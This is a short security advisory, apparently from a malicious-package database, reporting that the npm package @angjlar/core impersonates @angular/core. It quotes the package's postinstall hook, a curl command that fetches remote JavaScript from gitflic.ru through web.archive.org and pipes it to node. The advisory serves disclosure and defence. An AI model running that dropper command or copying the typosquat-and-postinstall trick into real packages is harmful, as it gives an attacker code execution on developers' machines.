Malicious code in @angjlar/core (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1dc3c51d631036eabc2b2933bcf3b7f2c08fe45d193136641e484456ba55a6d9) Package @angjlar/core impersonates @angular/core: its package.json copies the real Angular project's description ('Angular - the core framework'), author ('angular'), and repository URL (github.com/angular/angular.git), while publishing under the lookalike scope @angjlar. The postinstall lifecycle script in package.json runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js |... node`, fetching unpinned, mutable JavaScript from a non-publisher host (gitflic.ru, proxied through web.archive.org) and piping it to the node interpreter. On `npm install`, this gives the operator of that remote script arbitrary code execution on the installer's machine. The package has no legitimate relationship to Angular; the impersonating metadata exists solely to lure developers who mistype @angular/core into installing the dropper.
